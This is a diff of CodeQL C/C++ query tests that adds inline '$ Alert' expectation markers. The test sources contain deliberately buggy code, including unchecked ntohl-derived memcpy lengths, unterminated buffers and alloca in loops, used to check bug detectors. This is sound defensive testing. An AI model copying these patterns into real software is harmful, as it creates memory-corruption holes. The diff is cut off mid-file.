of file +query: Likely Bugs/Likely Typos/ShortCircuitBitMask.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/big_ints.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/big_ints.cpp index 0f87c3d2fbfc..f404a063d98d 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/big_ints.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/ShortCircuitBitMask/big_ints.cpp @@ -1,14 +1,14 @@ static void bad(int x) { - x && 2; - x && 4; - x && 16; - x && 256; - x && 0x10000; - x && 0x80000000; - x && 0x100000000LL; - x && 0x800000000LL; - x && 0x10000000000LL; - x && 0x123456789ABLL; + x && 2; // $ Alert + x && 4; // $ Alert + x && 16; // $ Alert + x && 256; // $ Alert + x && 0x10000; // $ Alert + x && 0x80000000; // $ Alert + x && 0x100000000LL; // $ Alert + x && 0x800000000LL; // $ Alert + x && 0x10000000000LL; // $ Alert + x && 0x123456789ABLL; // $ Alert } static void good(int x) { @@ -29,7 +29,7 @@ static void good(int x) { template void templateFunc() { (i & (i - 1)) && true; - 4 && true; + 4 && true; // $ Alert } void templateTest() { @@ -66,4 +66,4 @@ void testMacro() #define MYFLAG (0x80) unsigned int calc1 = 123 & MYFLAG; // OK -unsigned int calc2 = 123 && MYFLAG; // BAD +unsigned int calc2 = 123 && MYFLAG; // BAD // $ Alert diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/UsingStrcpyAsBoolean.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/UsingStrcpyAsBoolean.qlref index 6ae254cc9747..008951cee5c1 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/UsingStrcpyAsBoolean.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/UsingStrcpyAsBoolean.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/UsingStrcpyAsBoolean.ql +query: Likely Bugs/Likely Typos/UsingStrcpyAsBoolean.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.c index d08742a5add5..feefc4566f3a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.c @@ -31,37 +31,37 @@ void PositiveCases() char szbuf2[100]; int result; - if (strcpy(szbuf1, "test")) // Bug, direct usage + if (strcpy(szbuf1, "test")) // Bug, direct usage // $ Alert { } - if (!strcpy(szbuf1, "test")) // Bug, unary binary operator + if (!strcpy(szbuf1, "test")) // Bug, unary binary operator // $ Alert { } - if (strcpy(szbuf1, "test") == 0) // Bug, equality operator + if (strcpy(szbuf1, "test") == 0) // Bug, equality operator // $ Alert { } - if (SomeFunction() && strcpy(szbuf1, "test")) // Bug, binary logical operator + if (SomeFunction() && strcpy(szbuf1, "test")) // Bug, binary logical operator // $ Alert { } - if (strncpy(szbuf1, "test", 100)) // Bug + if (strncpy(szbuf1, "test", 100)) // Bug // $ Alert { } - if (!strncpy(szbuf1, "test", 100)) // Bug + if (!strncpy(szbuf1, "test", 100)) // Bug // $ Alert { } - result = !strncpy(szbuf1, "test", 100); // Bug - result = strcpy(szbuf1, "test") ? 1 : 0; // Bug - result = strcpy(szbuf1, "test") && 1; // Bug + result = !strncpy(szbuf1, "test", 100); // Bug // $ Alert + result = strcpy(szbuf1, "test") ? 1 : 0; // Bug // $ Alert + result = strcpy(szbuf1, "test") && 1; // Bug // $ Alert - result = strcpy(szbuf1, "test") == 0; // Bug + result = strcpy(szbuf1, "test") == 0; // Bug // $ Alert - result = strcpy(szbuf1, "test") != 0; // Bug + result = strcpy(szbuf1, "test") != 0; // Bug // $ Alert } void NegativeCases() diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.cpp index 707cf8466143..6cb2434dbd49 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/UsingStrcpyAsBoolean/test.cpp @@ -72,71 +72,71 @@ void PositiveCases() locale_t x; *x = 0; - if (strcpy(szbuf1, "test")) // Bug, direct usage + if (strcpy(szbuf1, "test")) // Bug, direct usage // $ Alert { } - if (!strcpy(szbuf1, "test")) // Bug, unary binary operator + if (!strcpy(szbuf1, "test")) // Bug, unary binary operator // $ Alert { } - if (strcpy(szbuf1, "test") == 0) // Bug, equality operator + if (strcpy(szbuf1, "test") == 0) // Bug, equality operator // $ Alert { } - if (SomeFunction() && strcpy(szbuf1, "test")) // Bug, binary logical operator + if (SomeFunction() && strcpy(szbuf1, "test")) // Bug, binary logical operator // $ Alert { } - if (WCSCPY_6324(wscbuf1, wscbuf2)) // Bug, using a macro + if (WCSCPY_6324(wscbuf1, wscbuf2)) // Bug, using a macro // $ Alert { } - if (wcscpy(wscbuf1, wscbuf2)) // Bug + if (wcscpy(wscbuf1, wscbuf2)) // Bug // $ Alert { } - if (_mbscpy(mbcbuf1, mbcbuf2)) // Bug + if (_mbscpy(mbcbuf1, mbcbuf2)) // Bug // $ Alert { } - if (strncpy(szbuf1, "test", 100)) // Bug + if (strncpy(szbuf1, "test", 100)) // Bug // $ Alert { } - if (wcsncpy(wscbuf1, wscbuf2, 100)) // Bug + if (wcsncpy(wscbuf1, wscbuf2, 100)) // Bug // $ Alert { } - if (_mbsncpy(mbcbuf1, (const unsigned char*)"test", 100)) // Bug + if (_mbsncpy(mbcbuf1, (const unsigned char*)"test", 100)) // Bug // $ Alert { } - if (_strncpy_l(szbuf1, "test", 100, x)) // Bug + if (_strncpy_l(szbuf1, "test", 100, x)) // Bug // $ Alert { } - if (_wcsncpy_l(wscbuf1, wscbuf2, 100, x)) // Bug + if (_wcsncpy_l(wscbuf1, wscbuf2, 100, x)) // Bug // $ Alert { } - if (_mbsncpy_l(mbcbuf1, (const unsigned char*)"test", 100, x)) //Bug + if (_mbsncpy_l(mbcbuf1, (const unsigned char*)"test", 100, x)) //Bug // $ Alert { } - if (!strncpy(szbuf1, "test", 100)) // Bug + if (!strncpy(szbuf1, "test", 100)) // Bug // $ Alert { } - bool b = strncpy(szbuf1, "test", 100); // Bug + bool b = strncpy(szbuf1, "test", 100); // Bug // $ Alert - bool result = !strncpy(szbuf1, "test", 100); // Bug - result = strcpy(szbuf1, "test") ? 1 : 0; // Bug - result = strcpy(szbuf1, "test") && 1; // Bug + bool result = !strncpy(szbuf1, "test", 100); // Bug // $ Alert + result = strcpy(szbuf1, "test") ? 1 : 0; // Bug // $ Alert + result = strcpy(szbuf1, "test") && 1; // Bug // $ Alert - result = strcpy(szbuf1, "test") == 0; // Bug + result = strcpy(szbuf1, "test") == 0; // Bug // $ Alert - result = strcpy(szbuf1, "test") != 0; // Bug + result = strcpy(szbuf1, "test") != 0; // Bug // $ Alert } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c index d66e027bdc1e..74039347afdd 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c @@ -4,7 +4,7 @@ void Signed() for (i = 0; i < 100; i--) //BUG { - } + } // $ Alert for (i = 0; i < 100; i++) { @@ -12,7 +12,7 @@ void Signed() for (i = 100; i >= 0; i++) //BUG { - } + } // $ Alert for (i = 100; i >= 0; i--) { @@ -26,7 +26,7 @@ void Unsigned() for (i = 0; i < 100; i--) //BUG { - } + } // $ Alert for (i = 0; i < 100; i++) { @@ -34,7 +34,7 @@ void Unsigned() for (i = 100; i >= 0; i++) //BUG { - } + } // $ Alert for (i = 100; i >= 0; i--) { @@ -47,7 +47,7 @@ void InitializationOutsideLoop() for (; i < 100; i--) //BUG { - } + } // $ Alert i = 0; for (; i < 100; i++) @@ -57,7 +57,7 @@ void InitializationOutsideLoop() i = 100; for (; i >= 0; i++) //BUG { - } + } // $ Alert i = 100; for (; i >= 0; i--) diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp index 0642eb747c41..768ba77af86f 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp @@ -4,7 +4,7 @@ void Signed() for (i = 0; i < 100; i--) //BUG { - } + } // $ Alert for (i = 0; i < 100; i++) { @@ -12,7 +12,7 @@ void Signed() for (i = 100; i >= 0; i++) //BUG { - } + } // $ Alert for (i = 100; i >= 0; i--) { @@ -26,7 +26,7 @@ void Unsigned() for (i = 0; i < 100; i--) //BUG { - } + } // $ Alert for (i = 0; i < 100; i++) { @@ -34,7 +34,7 @@ void Unsigned() for (i = 100; i >= 0; i++) //BUG { - } + } // $ Alert for (i = 100; i >= 0; i--) { @@ -45,7 +45,7 @@ void DeclarationInLoop() { for (signed char i = 0; i < 100; --i) //BUG { - } + } // $ Alert for (signed char i = 0; i < 100; ++i) { @@ -53,7 +53,7 @@ void DeclarationInLoop() for (unsigned char i = 100; i >= 0; ++i) //BUG { - } + } // $ Alert for (unsigned char i = 100; i >= 0; --i) { @@ -68,7 +68,7 @@ void SignedWithVariables() for (i = min; i < max; i--) //BUG { - } + } // $ Alert for (i = min; i < max; i++) { @@ -76,7 +76,7 @@ void SignedWithVariables() for (i = max; i >= min; i++) //BUG { - } + } // $ Alert for (i = max; i >= min; i--) { @@ -90,7 +90,7 @@ void InitializationOutsideLoop() for (; i < 100; --i) //BUG { - } + } // $ Alert i = 0; for (; i < 100; ++i) @@ -100,7 +100,7 @@ void InitializationOutsideLoop() i = 100; for (; i >= 0; ++i) //BUG { - } + } // $ Alert i = 100; for (; i >= 0; --i) @@ -117,11 +117,11 @@ void InvalidCondition() for (i = max; i < min; i--) //BUG { - } + } // $ Alert for (i = min; i > max; i++) //BUG { - } + } // $ Alert } void InvalidConditionUnsignedCornerCase() @@ -132,14 +132,14 @@ void InvalidConditionUnsignedCornerCase() for (i = 100; i < 0; i--) //BUG { - } + } // $ Alert // Limitation. // Currently odasa will not detect this for-loop condition as always true // The rule will still detect the mismatch iterator, but the error message may change in the future. for (i = 200; i >= 0; i++) //BUG { - } + } // $ Alert } void NegativeTestCase() @@ -172,11 +172,11 @@ void FalseNegativeTestCases() { for (int i = 0; i < 10; i = i - 1) {} // For comparison - for (int i = 0; i < 10; i-- ) {} // BUG + for (int i = 0; i < 10; i-- ) {} // BUG // $ Alert for (int i = 100; i > 0; i += 2) {} // For comparison - for (int i = 100; i > 0; i ++ ) {} // BUG + for (int i = 100; i > 0; i ++ ) {} // BUG // $ Alert } void IntendedOverflow(unsigned char p) @@ -193,8 +193,8 @@ void IntendedOverflow(unsigned char p) for (i = m - 2; i < m; i--) {} // DUBIOUS for (i = m; i < m + 1; i--) {} // GOOD - for (s = 63; s < 64; s--) {} // BAD (signed numbers don't wrap at 0 / at all) - for (s = m + 1; s < m; s--) {} // BAD (never runs) + for (s = 63; s < 64; s--) {} // BAD (signed numbers don't wrap at 0 / at all) // $ Alert + for (s = m + 1; s < m; s--) {} // BAD (never runs) // $ Alert for (i = p - 1; i < p; i--) {} // GOOD for (s = p - 1; s < p; s--) {} // BAD [NOT DETECTED] @@ -212,7 +212,7 @@ void IntendedOverflow(unsigned char p) n = 64; for (s = n - 1; s < n; s--) {} // BAD [NOT DETECTED] n = 64; - for (s = n - 1; s < 64; s--) {} // BAD + for (s = n - 1; s < 64; s--) {} // BAD // $ Alert n = 64; for (s = 63; s < n; s--) {} // BAD [NOT DETECTED] } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.qlref b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.qlref index af5f0a899cbd..0436ab0d4bd6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.qlref @@ -1 +1,2 @@ -Likely Bugs/Likely Typos/inconsistentLoopDirection.ql \ No newline at end of file +query: Likely Bugs/Likely Typos/inconsistentLoopDirection.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop.qlref index d5227c40ee4c..301aedbb9c35 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/AllocaInLoop.ql +query: Likely Bugs/Memory Management/AllocaInLoop.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1.cpp index 9071a1052b8d..97debb86c226 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1.cpp @@ -28,7 +28,7 @@ void foo(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) alloca(w1); // BAD + b1 = (char*) alloca(w1); // BAD // $ Alert } } memcpy(b1, v, w1); @@ -52,7 +52,7 @@ void bar(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) alloca(w1); // BAD + b1 = (char*) alloca(w1); // BAD // $ Alert } } } while (0); @@ -77,7 +77,7 @@ void baz(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) alloca(w1); // BAD + b1 = (char*) alloca(w1); // BAD // $ Alert } } memcpy(b1, v, w1); @@ -107,7 +107,7 @@ void case5() { char *buffer; do { - buffer = (char*)alloca(1024); // BAD + buffer = (char*)alloca(1024); // BAD // $ Alert continue; } while (1); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1ms.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1ms.cpp index 9ebf4f17ba16..fd5433efff6e 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1ms.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop1ms.cpp @@ -25,7 +25,7 @@ void foo(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) _alloca(w1); // BAD + b1 = (char*) _alloca(w1); // BAD // $ Alert } } memcpy(b1, v, w1); @@ -49,7 +49,7 @@ void bar(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) _malloca(w1); // BAD + b1 = (char*) _malloca(w1); // BAD // $ Alert } } } while (0); @@ -76,7 +76,7 @@ void baz(const struct vtype* vec, int count) { b1 = new char[w1]; } else { // Allocate the buffer on stack - b1 = (char*) _alloca(w1); // BAD + b1 = (char*) _alloca(w1); // BAD // $ Alert } } memcpy(b1, v, w1); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop2.c b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop2.c index 7f8ce7a07fe0..f221740e33ab 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop2.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop2.c @@ -36,7 +36,7 @@ void foo(const struct vtype* vec, int count) { b1 = (char *)malloc(w1); } else { // Allocate the buffer on stack - b1 = (char*) alloca(w1); // BAD + b1 = (char*) alloca(w1); // BAD // $ Alert iter = 1; } } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop3.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop3.cpp index b3418829e48f..575a7f2086b4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop3.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/AllocaInLoop3.cpp @@ -42,7 +42,7 @@ char *baz(int count) { char *buf; do { buf = ({ - char *b = (char *)alloca(32); // BAD + char *b = (char *)alloca(32); // BAD // $ Alert sprintf(b, "Value is %d\n", count); b; }); diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/BoundedLoop.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/BoundedLoop.cpp index fbecb59588da..d1ee978df039 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/BoundedLoop.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/AllocaInLoop/BoundedLoop.cpp @@ -22,7 +22,7 @@ void forTwice() { void forEver() { for (;;) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } @@ -35,7 +35,7 @@ void doTwice() { void unknownStartingPoint(int i) { for (; i < 2; i++) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } @@ -52,7 +52,7 @@ void atMostTwice() { void sometimesIncrement() { int i = 0; while (i < 2) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert if (getInt()) { i++; } @@ -61,7 +61,7 @@ void sometimesIncrement() { void upAndDown() { for (int i = 0; i < 2; i++) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert if (getInt()) { i--; } @@ -70,7 +70,7 @@ void upAndDown() { void largeBound() { for (int i = 0; i < 10000; i++) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } @@ -94,7 +94,7 @@ void maybeSmallOffset() { i = 9997; } for (; i < 10000; i++) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } @@ -102,7 +102,7 @@ void incBefore() { int i = -1; i++; // not understood by data flow for (; i < 2; i++) { - alloca(100); // GOOD [FALSE POSITIVE] + alloca(100); // GOOD [FALSE POSITIVE] // $ Alert } } @@ -135,7 +135,7 @@ void eqFalse() { void eqFalseFlipped() { for (int stop = 0; stop == 0; stop = 0) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } @@ -173,7 +173,7 @@ void countDownAssignAdd() { void countDownWrong() { for (int i = 2-1; i >= 0; i++) { - alloca(100); // BAD + alloca(100); // BAD // $ Alert } } diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTermination.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTermination.qlref index 3120e479150f..c09d3d9d76aa 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTermination.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTermination.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/ImproperNullTermination.ql \ No newline at end of file +query: Likely Bugs/Memory Management/ImproperNullTermination.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTerminationTainted.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTerminationTainted.qlref index 6fbfb31d7801..778616ca43c4 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTerminationTainted.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/ImproperNullTerminationTainted.qlref @@ -1 +1,2 @@ -Security/CWE/CWE-170/ImproperNullTerminationTainted.ql +query: Security/CWE/CWE-170/ImproperNullTerminationTainted.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/test.cpp index 49dc01a40df9..2b6d4ddd3f27 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/ImproperNullTermination/test.cpp @@ -23,8 +23,8 @@ void test_unassigned() char buffer1[1024]; char buffer2[1024]; - strdup(buffer1); // BAD - strdup(buffer2); // BAD + strdup(buffer1); // BAD // $ Alert[cpp/improper-null-termination] + strdup(buffer2); // BAD // $ Alert[cpp/improper-null-termination] memcpy(buffer2, buffer1, sizeof(buffer2)); strdup(buffer1); // BAD [NOT DETECTED] @@ -37,7 +37,7 @@ void test_unassigned() strcpy(buffer1, "content"); strdup(buffer1); // GOOD - strdup(buffer2); // BAD + strdup(buffer2); // BAD // $ Alert[cpp/improper-null-termination] memcpy(buffer2, buffer1, sizeof(buffer2)); strdup(buffer1); // GOOD @@ -57,7 +57,7 @@ void test_unassigned() char *ptr1; char *ptr2 = "content"; - strdup(ptr1); // BAD + strdup(ptr1); // BAD // $ Alert[cpp/improper-null-termination] strdup(ptr2); // GOOD } @@ -67,8 +67,8 @@ void test_unassigned() char *ptr; ptr = buffer1; - strdup(buffer1); // BAD - strdup(ptr); // BAD + strdup(buffer1); // BAD // $ Alert[cpp/improper-null-termination] + strdup(ptr); // BAD // $ Alert[cpp/improper-null-termination] strcpy(buffer1, "content"); strdup(buffer1); // GOOD @@ -79,8 +79,8 @@ void test_unassigned() strdup(ptr); // GOOD ptr = buffer2; - strdup(buffer2); // BAD - strdup(ptr); // BAD + strdup(buffer2); // BAD // $ Alert[cpp/improper-null-termination] + strdup(ptr); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -91,7 +91,7 @@ void test_unassigned() strcpy(buffer, "content"); strdup(buffer); // GOOD } - strdup(buffer); // BAD + strdup(buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -114,7 +114,7 @@ void test_unassigned() strcpy(buffer, "content"); strdup(buffer); // GOOD } - strdup(buffer); // BAD + strdup(buffer); // BAD // $ Alert[cpp/improper-null-termination] } } @@ -128,7 +128,7 @@ void test_caller() char buffer[1024]; test_callee("content", buffer); // GOOD - test_callee(buffer, "content"); // BAD + test_callee(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } void test_readlink(int fd, const char *path, size_t sz) @@ -137,7 +137,7 @@ void test_readlink(int fd, const char *path, size_t sz) char buffer[1024]; readlink(path, buffer, sizeof(buffer)); - strdup(buffer); // BAD + strdup(buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -145,7 +145,7 @@ void test_readlink(int fd, const char *path, size_t sz) int v; readlinkat(fd, path, buffer, sizeof(buffer)); - v = strlen(buffer); // BAD + v = strlen(buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -180,7 +180,7 @@ void test_readlink(int fd, const char *path, size_t sz) memset(buffer, 0, sizeof(buffer)); readlink(path, buffer, sizeof(buffer)); - strdup(buffer); // BAD + strdup(buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -233,7 +233,7 @@ void test_strcat() { char buffer[1024]; - strcat(buffer, "content"); // BAD + strcat(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -261,7 +261,7 @@ void test_strcat() char buffer[1024]; buffer[0] = 'a'; - strcat(buffer, "content"); // BAD + strcat(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -282,7 +282,7 @@ void test_strcat() char buffer[1024]; doNothing(buffer); - strcat(buffer, "content"); // BAD + strcat(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -299,7 +299,7 @@ void test_strcat() *buffer_ptr = 0; strcat(buffer1, "content"); // GOOD - strcat(buffer2, "content"); // BAD + strcat(buffer2, "content"); // BAD // $ Alert[cpp/improper-null-termination] strcat(buffer_ptr, "content"); // GOOD buffer_ptr = buffer2; @@ -311,7 +311,7 @@ void test_strcat() char *buffer_ptr = buffer; *buffer_ptr = 'a'; - strcat(buffer, "content"); // BAD + strcat(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -333,7 +333,7 @@ void test_strlen(bool cond1, bool cond2) { { char buffer[1024]; - int i = strlen(buffer); // BAD + int i = strlen(buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -418,7 +418,7 @@ void test_strcpy() char buffer1[1024]; char buffer2[1024]; - strcpy(buffer1, buffer2); // BAD + strcpy(buffer1, buffer2); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -445,13 +445,13 @@ void test_wrappers() { char buffer[1024]; - strcatWrapper(buffer, "content"); // BAD + strcatWrapper(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } { char buffer[1024]; - strcatWrapper2(buffer, "content"); // BAD + strcatWrapper2(buffer, "content"); // BAD // $ Alert[cpp/improper-null-termination] } } @@ -463,7 +463,7 @@ void test_read_fread(int read_src, FILE *s) char buffer[buffer_size]; read(read_src, buffer, buffer_size * sizeof(char)); - strlen(buffer); // BAD + strlen(buffer); // BAD // $ Alert[cpp/user-controlled-null-termination-tainted] } { @@ -478,7 +478,7 @@ void test_read_fread(int read_src, FILE *s) char buffer[buffer_size]; fread(buffer, sizeof(char), buffer_size, s); - strlen(buffer); // BAD + strlen(buffer); // BAD // $ Alert[cpp/user-controlled-null-termination-tainted] } { @@ -510,13 +510,13 @@ void test_printf(char *str) { char buffer[1024]; - printf(buffer, ""); // BAD + printf(buffer, ""); // BAD // $ Alert[cpp/improper-null-termination] } { char buffer[1024]; - printf("%s", buffer); // BAD + printf("%s", buffer); // BAD // $ Alert[cpp/improper-null-termination] } { @@ -555,7 +555,7 @@ void test_reassignment() strcpy(buffer_ptr, "content"); // null terminates buffer1 buffer_ptr = buffer2; - strdup(buffer2); // BAD + strdup(buffer2); // BAD // $ Alert[cpp/improper-null-termination] } { diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/NtohlArrayNoBound.qlref b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/NtohlArrayNoBound.qlref index 58e62b13e6d6..d01f3942fc53 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/NtohlArrayNoBound.qlref +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/NtohlArrayNoBound.qlref @@ -1 +1,2 @@ -Likely Bugs/Memory Management/NtohlArrayNoBound.ql \ No newline at end of file +query: Likely Bugs/Memory Management/NtohlArrayNoBound.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/test.cpp b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/test.cpp index 24bdaee0f162..514dd72ca19a 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/test.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Memory Management/NtohlArrayNoBound/test.cpp @@ -10,7 +10,7 @@ void test1(const char *source, size_t len) char buffer[256]; size_t len2 = ntohl(len); - memcpy(buffer, source, ntohl(len)); // BAD + memcpy(buffer, source, ntohl(len)); // BAD // $ Alert if (len2 < 256) { @@ -19,7 +19,7 @@ void test1(const char *source, size_t len) if (source != 0) { - memcpy(buffer, source, len2); // BAD + memcpy(buffer, source, len2); // BAD // $ Alert } if ((len2 < 256) && (source != 0)) @@ -29,7 +29,7 @@ void test1(const char *source, size_t len) if ((len2 < 256) || (source != 0)) { - memcpy(buffer, source, len2); // BAD + memcpy(buffer, source, len2); // BAD // $ Alert } if (len2 < 256) @@ -59,10 +59,10 @@ void test1(const char *source, size_t len) if (strlen(source) < 256) { - memcpy(buffer, source, len2); // BAD + memcpy(buffer, source, len2); // BAD // $ Alert } - buffer[len2] = 0; // BAD + buffer[len2] = 0; // BAD // $ Alert if (len2 < 256) { @@ -71,7 +71,7 @@ void test1(const char *source, size_t len) { unsigned short lens = len2; - buffer[lens] = 0; // BAD + buffer[lens] = 0; // BAD // $ Alert } if (len2 < 256) @@ -84,7 +84,7 @@ void test1(const char *source, size_t len) if (len3 < 256) { len3 = ntohl(len); - 